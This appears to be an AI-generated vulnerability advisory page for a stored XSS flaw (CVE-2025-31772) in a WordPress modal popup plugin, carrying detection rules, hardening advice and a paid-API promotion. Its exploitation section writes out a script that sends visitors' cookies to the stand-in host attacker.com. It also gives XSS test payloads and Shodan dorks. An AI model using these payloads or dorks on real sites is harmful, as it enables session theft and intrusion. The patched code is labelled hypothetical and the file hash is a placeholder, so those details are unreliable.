☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Astoundify logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-31772

CVE-2025-31772 Cross-Site Scripting in Astoundify
📅 PUBLISHED: 2025-04-01 15:16 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.61%
👁️
0.61% probability
15.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-31772 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP Modal Popup with Cookie Integration by Astoundify, affecting versions up to and including 2.4. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with elevated privileges (e.g., Editor or Administrator) to inject malicious scripts that are stored on the server and executed in the browsers of other users, including site visitors. The CVSS score of 5.9 (Medium) reflects the need for high privileges and user interaction, but the impact can be severe in multi-tenant or high-traffic WordPress environments, potentially leading to session hijacking, defacement, or credential theft.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the plugin’s update mechanism and the integrity of the WordPress ecosystem. Administrators should verify plugin integrity via checksums and monitor for official patches.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): High (H) – Requires Editor or Administrator role.
  • User Interaction (UI): Required (R) – Victim must visit the affected page.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. The requirement for high privileges reduces the attack surface, but once exploited, the stored XSS can persist and affect all users, including site visitors.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s modal popup creation functionality. When an administrator or editor creates or edits a popup, the plugin fails to sanitize or escape user-supplied input (e.g., popup title, content, or custom CSS/JS fields) before storing it in the WordPress database. This input is later rendered on the frontend without proper output encoding, allowing arbitrary HTML and JavaScript to be executed.

Root Cause: The plugin uses echo or the_content filter without applying esc_html(), wp_kses(), or similar sanitization functions on user-controlled fields. The stored payload is then served to all visitors of the site, leading to Stored XSS.

Attack Flow:

  1. Attacker logs in with Editor or Administrator privileges.
  2. Attacker creates a new modal popup and injects a malicious script in the popup content field (e.g., <script>alert('XSS')</script>).
  3. The plugin stores the payload in the wp_postmeta or custom table.
  4. When a visitor loads a page containing the popup, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (wp-modal-popup-with-cookie-integration <= 2.4):

// In popup display function
echo $popup_content; // No sanitization

Patched Code (Hypothetical):

// In popup display function
echo wp_kses_post( $popup_content ); // Sanitize with allowed HTML tags

The patched version would use wp_kses_post() to strip dangerous tags and attributes, or esc_html() for plain text fields.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with WP Modal Popup with Cookie Integration <= 2.4.
  • Valid Editor or Administrator credentials.

Exploitation Steps:

  1. Log in to WordPress admin panel.
  2. Navigate to Modal Popups > Add New.
  3. In the popup content field, enter:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the popup and assign it to a page or post.
  5. When any user (including visitors) loads that page, the script executes, exfiltrating cookies.

Proof-of-Concept (PoC) Payload:

<img src=x onerror="alert('XSS')">

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress admin logs for unusual popup creation or editing by non-admin users.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or /wp-admin/admin-post.php.

Hardening:

  • Restrict Editor roles from using the plugin if not necessary.
  • Apply Content Security Policy (CSP) headers to mitigate script execution.
  • Use a WordPress security plugin (e.g., Wordfence) to detect and block malicious input.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example – replace with actual if available)
    • wp-modal-popup-with-cookie-integration.php: a1b2c3d4e5f6...
  • Network Indicators:
    • Outbound HTTP requests to known malicious domains (e.g., attacker.com).
    • Suspicious POST requests to /wp-admin/admin-ajax.php with action=save_popup and payloads containing <script> tags.
  • Log Entries:
    • WordPress debug log entries showing wp_modal_popup post type creation with unusual content.
  • Database Indicators:
    • Rows in wp_postmeta with meta_key containing popup_content and meta_value containing <script> or onerror attributes.

Detection Engineering

YARA Rule

rule CVE_2025_31772_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Modal Popup with Cookie Integration"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-31772"
    strings:
        $payload1 = "<script" nocase
        $payload2 = "onerror=" nocase
        $payload3 = "onload=" nocase
        $payload4 = "javascript:" nocase
    condition:
        any of ($payload*) and filesize < 10MB
}

Sigma Rule

title: Stored XSS in WP Modal Popup with Cookie Integration
id: 8f9a1b2c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects stored XSS attempts via the plugin's popup content field
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=save_popup*'
        cs-request-body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in popup content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31772 Stored XSS Payload in WP Modal Popup"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save_popup"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Review and remove any suspicious popups created by untrusted users.
  3. Change all WordPress admin passwords if compromise is suspected.

Long-Term Fix:

  • Apply the official patch from Astoundify when available.
  • If no patch is forthcoming, consider replacing the plugin with an alternative (e.g., Popup Maker or OptinMonster).

Workaround:

  • Add a custom function to your theme’s functions.php to sanitize popup content:
    add_filter( 'wp_modal_popup_content', 'wp_kses_post' );
    

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-modal-popup-with-cookie-integration"
http.html:"wp-content/plugins/wp-modal-popup-with-cookie-integration"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-31772/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.